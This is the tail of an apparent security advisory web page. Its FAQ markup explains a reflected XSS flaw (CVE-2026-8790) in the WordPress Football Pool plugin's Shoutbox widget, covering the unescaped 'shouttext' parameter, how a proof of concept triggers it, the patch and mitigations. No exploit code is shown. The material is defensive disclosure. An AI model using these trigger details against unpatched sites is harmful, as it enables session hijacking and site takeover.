{{slidesLength}}"},"zoom":"Zoom"},"selectedFilters":[],"filterNiceNames":[],"bricksGoogleMarkerScript":"https://atomicedge.io/wp-content/themes/bricks/assets/js/libs/bricks-google-marker.min.js?v=2.3.10","infoboxScript":"https://atomicedge.io/wp-content/themes/bricks/assets/js/libs/infobox.min.js?v=2.3.10","markerClustererScript":"https://atomicedge.io/wp-content/themes/bricks/assets/js/libs/markerclusterer.min.js?v=2.3.10","mainQueryId":"","activeSearchTemplate":"0","defaultMode":"light"}; //# sourceURL=bricks-scripts-js-extra </script> <script id="bricks-scripts-js" src="https://atomicedge.io/wp-content/themes/bricks/assets/js/bricks.min.js?ver=1785716086"></script> <script id="atomic-proof-prism-js" src="https://atomicedge.io/wp-content/plugins/atomic-proof/admin/assets/vendor/prism/prism-bundle.min.js?ver=1.3.0"></script> <script id="atomic-proof-code-window-js" src="https://atomicedge.io/wp-content/plugins/atomic-proof/admin/js/code-window.js?ver=1.3.0"></script> <script type="application/ld+json">{"@context":"https:\/\/schema.org","@type":"FAQPage","mainEntity":[{"@type":"Question","name":"What is CVE-2026-8790?","acceptedAnswer":{"@type":"Answer","text":"CVE-2026-8790 is a reflected cross-site scripting (XSS) vulnerability in the Football Pool plugin for WordPress, affecting versions up to and including 2.13.4. It allows unauthenticated attackers to inject arbitrary web scripts into the browser of an authenticated victim, such as a subscriber, when the victim submits a crafted POST request to a page with the Shoutbox widget."}},{"@type":"Question","name":"How does the vulnerability work?","acceptedAnswer":{"@type":"Answer","text":"The Shoutbox widget echoes the \u0026#8216;shouttext\u0026#8217; POST parameter into a textarea element without proper output escaping. When a form submission fails validation, such as a missing nonce, the raw value is rendered using printf(\u0026#8216;%s\u0026#8217;, \u0026#8230;), allowing an attacker to inject HTML or JavaScript that executes in the victim\u0026#8217;s browser."}},{"@type":"Question","name":"Who is affected by this vulnerability?","acceptedAnswer":{"@type":"Answer","text":"Any WordPress site running the Football Pool plugin version 2.13.4 or earlier with the Shoutbox widget enabled is affected. The attack targets authenticated users with at least Subscriber-level access, but administrators can also be impacted if tricked into submitting a crafted request."}},{"@type":"Question","name":"How can I check if my site is vulnerable?","acceptedAnswer":{"@type":"Answer","text":"Check the Football Pool plugin version in your WordPress admin dashboard under Plugins. If it is 2.13.4 or lower, your site is vulnerable. Additionally, verify if the Shoutbox widget is active on any page, as that is required for exploitation."}},{"@type":"Question","name":"What is the CVSS score and severity?","acceptedAnswer":{"@type":"Answer","text":"The vulnerability has a CVSS score of 6.1, which is rated as Medium severity. This indicates a moderate risk, as exploitation requires user interaction (the victim must submit a crafted request) and the impact is limited to the victim\u0026#8217;s browser session, but it can lead to session hijacking or privilege escalation if an admin is targeted."}},{"@type":"Question","name":"How is the vulnerability patched?","acceptedAnswer":{"@type":"Answer","text":"The patch in version 2.13.5 adds output escaping to the \u0026#8216;shouttext\u0026#8217; value. The title attribute is now escaped with esc_attr(), and the textarea content is escaped with esc_textarea(), which encodes special characters and prevents script execution. Updating to version 2.13.5 or later resolves the issue."}},{"@type":"Question","name":"What should I do to fix the vulnerability?","acceptedAnswer":{"@type":"Answer","text":"Update the Football Pool plugin to version 2.13.5 or higher as soon as possible. If you cannot update immediately, consider disabling the Shoutbox widget or restricting access to pages containing it until the update is applied."}},{"@type":"Question","name":"What is the practical impact of this vulnerability?","acceptedAnswer":{"@type":"Answer","text":"An attacker can execute arbitrary JavaScript in the context of an authenticated user\u0026#8217;s browser. This could allow stealing session cookies, performing actions on behalf of the user, or escalating privileges if the victim has administrative rights. In the worst case, a compromised admin account could lead to full site takeover."}},{"@type":"Question","name":"How does the proof of concept demonstrate the issue?","acceptedAnswer":{"@type":"Answer","text":"The provided PoC sends a POST request to a page with the Shoutbox widget, including a script payload in the \u0026#8216;shouttext\u0026#8217; parameter and intentionally omitting the nonce. When the request is processed, the widget echoes the payload without escaping, causing the script to execute in the victim\u0026#8217;s browser. This demonstrates the reflected XSS."}},{"@type":"Question","name":"Can this vulnerability be exploited without authentication?","acceptedAnswer":{"@type":"Answer","text":"The attacker does not need to be authenticated, but the victim must be. The attacker crafts a malicious link or form that, when submitted by an authenticated user, triggers the vulnerability. The victim must be logged in and have at least Subscriber-level access to the site."}},{"@type":"Question","name":"Are there any other mitigations besides updating?","acceptedAnswer":{"@type":"Answer","text":"As a temporary measure, you can add a Web Application Firewall (WAF) rule to block requests with suspicious \u0026#8216;shouttext\u0026#8217; parameters. However, updating the plugin is the only reliable fix. Also, educate users to avoid clicking on untrusted links that could trigger form submissions."}},{"@type":"Question","name":"What is the root cause of the vulnerability?","acceptedAnswer":{"@type":"Answer","text":"The root cause is the unsafe rendering of the \u0026#8216;shouttext\u0026#8217; POST parameter in the Shoutbox widget. The code uses printf(\u0026#8216;%s\u0026#8217;, \u0026#8230;) to output the value into a textarea without applying output escaping functions like esc_textarea(), allowing HTML and JavaScript to be injected."}}]}</script> </body></html>